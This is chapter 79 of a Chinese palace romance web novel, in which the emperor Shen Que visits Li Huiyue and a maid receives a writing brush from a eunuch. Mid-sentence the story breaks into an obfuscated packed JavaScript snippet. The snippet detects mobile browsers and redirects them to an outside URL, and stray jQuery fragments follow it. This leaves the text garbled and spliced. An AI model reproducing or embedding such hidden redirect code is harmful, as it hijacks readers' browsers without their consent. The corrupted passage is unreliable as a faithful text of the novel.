79. 表字子聿

作品:《亡国前和陛下HE了

    皇上痛斥清流庇护阉党之事很快就传开了,虽按例后宫不可议政,可前朝后宫何等紧密,后宫众人又怎能不知,怎会不议。


    李徽月在寿康宫见诸位姐姐面色有异,想必也都已听闻此事,她屏退了宫里的下人,宁蕊低声问起此事:“皇上今日对阉党的态度有些暧昧,可是已有了什么谋划?”


    “他并未与我说过,我也不便问他朝堂之事。”李徽月相信沈确清算阉党的决心,也全然信任他的任何决断,“皇上总有他的道理。”


    宁蕊见问不出什么,也只得作罢,只是面上仍隐隐有些担忧。虞绮罗观察着她的神色,问道:“宁蕊,你在担心你父亲?”


    宁家的事迟迟没有查出真相,皇上并没有给她什么结果。宁父虽仍在尚书之位,宁蕊却觉得父亲身处危局,不知将来结果如何。她不明白皇上如今对朝堂是何态度,也不知他会对父亲如何发落。


    她什么都不知道,便是因着不知,她心中难免不安。


    宁蕊摇了摇头:“不说这些了,总归是什么都不知道,便也不必多想。”


    说者无心,李徽月听了宁蕊这话有些心虚,她是离沈确最近的人,却连一颗安心丸都给不了宁蕊,对宁家的事也疏忽了许久。她正欲开口宽慰宁蕊,与她说自己会去问问沈确宁家之事,宁蕊却已岔开了话题,细说起了月例奖赏如何发放。


    又是一日的教习,黄昏时分李徽月方回到清辉殿,遇上也正进门的春风,两人疲惫地相视一笑,皆是毫无办法。


    春风虽在陵园长大,幼时启蒙不足,只勉强识了些字,可她头脑活络,又吃苦肯学,在小尚的点拨下进步神速。李徽月将她的变化看在眼里,既欣慰又心疼。


    “奴婢给主子做玫瑰丸子吃吧。”春风见主子脸上疲倦,想着做点甜食抚慰她些。


    “不必,你今日也辛苦了,免了再做这些,命小厨房准备晚膳吧。”


    春风闻言也不再坚持,看着李徽月只身进了殿中,转身往小厨房去,却见冯玉站在院中的槐树下。


    “你怎么在这儿,还一言不发的,我竟没发现你。”她忙向他走去。


    “你与李县主都累得不轻,自然发现不了我。”冯玉笑道。


    确实如此,方才二人见着彼此说起话来,全然不知院中还站着个冯玉。春风又问:“你今日来可有什么事?”


    “皇上来了。”冯玉风轻云淡地说,春风下意识望向了殿内,她自然看不到什么,又扭过了头来。


    “皇上今日在清辉殿用晚膳吗?我去吩咐厨房多做些皇上爱吃的菜。”


    冯玉点点头,见春风旋即要走,忙拉住了她的手。春风的手心微凉,不似他的手掌温暖宽厚。


    春风面上一红,忙将手抽了出来:“说话就说话,不要拉拉扯扯的。”


    冯玉自知自己唐突,也不再辩驳,从身后拿出一个长形木盒,递到了春风的手中。


    春风将长盒拿在手中,无奈的叹了口气:“冯玉我早与你说过,我现在整日不是教习就是读书,实在没心思打扮。”


    “我知道。”冯玉拖长了声音回应道,“你先打开看看再嘀咕我。”


    是什么漂亮首饰,能让自己免了对冯玉的念叨,春风忽的有了好奇心,将手中的长盒盒盖缓缓打开。


    盒中之物以玳瑁甲制成,镶嵌了鎏金铜扣,冯玉今日送她的并不是什么首饰,而是一支玳瑁管紫毫笔。


    “这……”春风不由张了张嘴,愣在了原地。


    “从前你整日胡玩又爱漂亮,故而我送你那些胭脂首饰,如今你每日看书写字,有支趁手的笔最要紧。”


    “谁胡玩爱漂亮了……”春风边低声嘀咕着边抚着这笔。它做工精细,笔锋为葫芦式,极合适她平日书写小楷。她深感冯玉的用心,只是这毛笔一看就价值不菲,她实在不好收下。


    “我那狗爬字哪里能配得上这么好的笔,你快收了回去。”春风说罢便合上那长盒塞回冯玉手里。


    冯玉无奈地皱着眉,手上并没有接:“你怎么配不上,再好的你都配得上。”


    冯玉轻飘飘一句话让春风动作一顿,头脑一片空白。她不过是被卖到陵园的弃女,从小便失了家里人的关心照顾,她对人总是想着讨好,从未想过自己什么都不做便能配得上世间的好东西。


    如今,冯玉却站在她面前对她说,她什么都配得上。


    “从没有人与我说过这些。”春风低声道,她将那长盒揣回怀中,向冯玉道了声谢谢,不敢抬头看他,忙向厨房跑去。


    春风的身影渐渐走远,她原本站过的地方已落了满地的槐花。冯玉仍站在原地,许久后掸了掸落在他肩头的槐花,喃喃地说了句:“不用谢。”


    李徽月一走进内殿便见沈确坐在桌边喝茶,对他的不请自来她早已司空见惯,只是不想到他今日黄昏便歇了。


    “皇上每日要批五六个时辰的折子,这会儿怎么来清辉殿了?”她发问道。


    “今日一早便看了一出好戏,眼下文华殿的折子已堆成了山,我便逃了出来。”沈确一本正经地调侃道。


    李徽月一笑,身上的疲惫似乎轻了一些,沈确总有这样的本领,令她只消见着他便能轻松不少。沈确何尝不是,他说着自己是来此躲懒,实则不过是向看她一眼,好缓一缓自己的心神。


    他虽勤政,却也吃不消今日这雪花般的弹劾折子。他才在早朝时警告了杨所修,又痛斥了那帮清流文臣,这帮臣子便如疯狗一般,拼了命地递弹劾崔秀及阉党的折子。


    他早有预料今日宁昱德安排的这出戏,加上他偏帮阉党的反应,会引发一连串的动作,眼下的情形也是他愿意看到的,可见冯玉马不停蹄地往文华殿搬折子,他还是讨了饶,只想来清辉殿避避风头。


    “我还以为皇上最爱看折子。”李徽月忍不住逗他。


    “说的都是一件事,我实在是懒得看。”沈确想到那如山的折子便头疼,揉了揉太阳穴。


    李徽月上前将手抚上他的头,轻柔地按着,沈确一阵放松,却又心疼她:“你已累了一天,别忙活了。”


    李徽月心中有别的打算,舔了舔嘴唇,手上的动作没停:“我有事想问皇上。”


    沈确闻言伸手抚上她的手:“你我之间不必如此见外,你直接问便是。”


    她犹豫片刻,问道:“宁家的事,皇上可查出了什么结果?”


    沈确闻言,意识到他忙于处理阉党,竟忘了将此事交代,正色道:“此事是我疏忽,未曾与你说起。先前与宁太嫔说完,我便交代了锦衣卫指挥同知,让他招呼你父亲去查此事。”


    当初沈确说起的那位锦衣卫中的旧相识,竟然是她父亲,李徽月吃了一惊,连忙问道:“我父亲可有查


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081625|189002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到什么?”


    “你父亲查到了许多要紧的事。”沈确肯定道,“我也早已确信宁昱德并非阉党,如今他在替我办要紧的事。”


    “当真?”李徽月面上一喜,如此必定宽宁蕊的心。


    沈确见她反应,明白她的想法,他思忖了一会儿,道:“你若想告知宁太嫔,只消与她说我日后会为宁家平反,至于宁尚书是否阉党,又在办什么事不必说得太清楚。”


    朝堂之事总是不该让后宫知晓得太清楚,李徽月心中明白,只要宁蕊知道宁家有平反的可能性,她必会宽心许多,也不必如今日般担忧了。


    “你近日来辛苦了,日日早出晚归,都不得空见我。”


    沈确一伸手将她拽进了怀里,语气有些埋怨。李徽月身形不稳,下意识搭在了他的肩头:“我自然不如皇上辛苦。”


    “是吗?那就是不惦记我。”沈确惩罚似的紧了紧手臂箍着她,“我不论多忙总要来看看你,你倒是个没良心的,忙起来便不理会我。”


    李徽月被他紧紧地一箍,又听得他说了这么一番牢骚话,不免得笑出了声:“你如今哀怨得像个深闺怨妇。”


    沈确警告地掐了掐她的腰,她身子一缩,忙认错:“是我近日来忽略了你,我补偿你好不好?”


    沈确有意地凑近了她的脸,饶有兴味地看着她:“怎么补偿?”


    李徽月却不吃他这一套,从袖口掏出一个香囊递给他:“早就该给你的,一直忘了。”


    沈确看着这香囊模样并不算多别致,闻起来气味微苦,倒是提神醒脑。


    “先前替小尚送给了永王一枚香囊,有一半是为了气你。只是那香囊的确是好东西,最适合你这般劳心劳神之人。”


    沈确自然记得那枚香囊,当时他在殿上看得眼角拧红,原来她早已为他也备下了一份。


    他心中一暖,细嗅那香囊的苦味,只觉头已没有那般发胀。


    李徽月抿了抿嘴,提醒道:“你将这香囊翻过来。”


    沈确手指一转,将香囊转到背面,见上面细细地绣了两个字:子聿。


    “这是我的表字。”沈确有些意外,“你竟然还记得。”


    李徽月只是一笑,她怎会忘记。


    沈确摩挲着香囊上的名字,回想起当年的情形。


    当年他在她及笄前赠了她青玉簪。待第二日她行过及笄礼,夜里他又出现在李家院中,看着她头上的青玉簪一味地笑。


    李徽月脸上一红,转身便要回屋,却被他拦住:“你父母可给你取了表字?”


    待字闺中,及笄后父母理应给女儿取表字的,只是李家父母并不讲究这些,她摇摇头:“没有。”


    旋即她问道:“你的表字是什么?”


    “子聿。”他答道,“无念尔祖,聿修厥德。”


    子聿……李徽月喃喃念道,声音落在他的耳中,他耳根有些发红。


    “我的小名是皎皎。”


    李徽月留下这话便转过身往卧房走去,行至半途,忽的又扭过头:“晚安子聿。”


    他的心从未跳得如此快过,他望着她离去的身影,不住地低声答了句:“晚安皎皎。”


    他不知道她有没有听到他的回应,脑中全是她方才的那一瞬回眸,却忽的明白了李商隐的那句词。


    和羞走,倚门回首,却把青梅嗅。